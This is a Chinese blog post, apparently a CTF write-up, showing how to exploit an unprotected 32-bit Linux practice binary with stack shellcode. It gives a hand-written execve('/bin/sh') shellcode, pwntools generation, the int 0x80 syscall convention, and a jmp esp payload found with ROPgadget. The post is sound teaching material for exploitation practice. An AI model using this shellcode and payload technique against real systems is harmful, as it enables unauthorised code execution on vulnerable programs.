本文最后更新于:2022年8月25日 下午
shellcode的利用
以国赛提前一天放出的模拟题为例
本文基于32位系统
打开题目后可以发现一下基础信息
| 没有开任何防护 没有开NX保护,意味着第一时间可以想到,把shellcode放在栈上运行 是32位程序
|
shellcode 生成方法
1 2
| context(log_level = 'debug', arch = 'i386', os = 'linux') shellcode = asm(shellcraft.sh())
|
这样就可以生成一个shellcode
注意:这样生成的shellcode长度为44,如果超过可以收容的大小,可能需要用其他方法编写shellcode
以下为手动生成shellcode方法,大小为23,很小。
1 2 3 4 5 6 7 8 9 10 11 12
| shellcode =''' xor eax,eax #eax置0 xor edx,edx #edx置0 push edx #将0入栈,标记了”/bin/sh”的结尾 push 0x68732f2f #传递”/sh”,为了4字节对齐,使用//sh,这在execve()中等同于/sh push 0x6e69622f #传递“/bin” mov ebx,esp #此时esp指向了”/bin/sh”,通过esp将该字符串的值传递给ebx xor ecx,ecx mov al,0xB #eax置为execve函数的中断号 int 0x80 #调用软中断 ''' shellcode=asm(shellcode)
|
关于int 0x80软中断
1 2 3 4
| 第一步,就是需要将系统调用号加入到eax中。 第二步,ebx保存函数调用的第一个参数,ecx、edx、esi、edi分别对应这2345个参数。 如果参数超过5个,就必须将参数数组存储在内存中,而且必须将该数组的地址放在ebx中。 一旦加载寄存器后,就会调用int 0x80 汇编指令来中断,强迫内核暂停手头上的工作并处理该中断。
|
用ROPgadget获取jmp esp地址
目的在于将返回值设置为jmp esp,可以返回esp然后执行传入的shellcode。
最终的payload
1 2
| payload = shellcode.ljust(0x80,b'\x00') + p32(addr_jmp_esp) + asm(sub esp,offset;call esp)
|
如此就可以利用一个没有保护,但是也没有system()的程序。
注意shellcode在发送时不用p32包装!!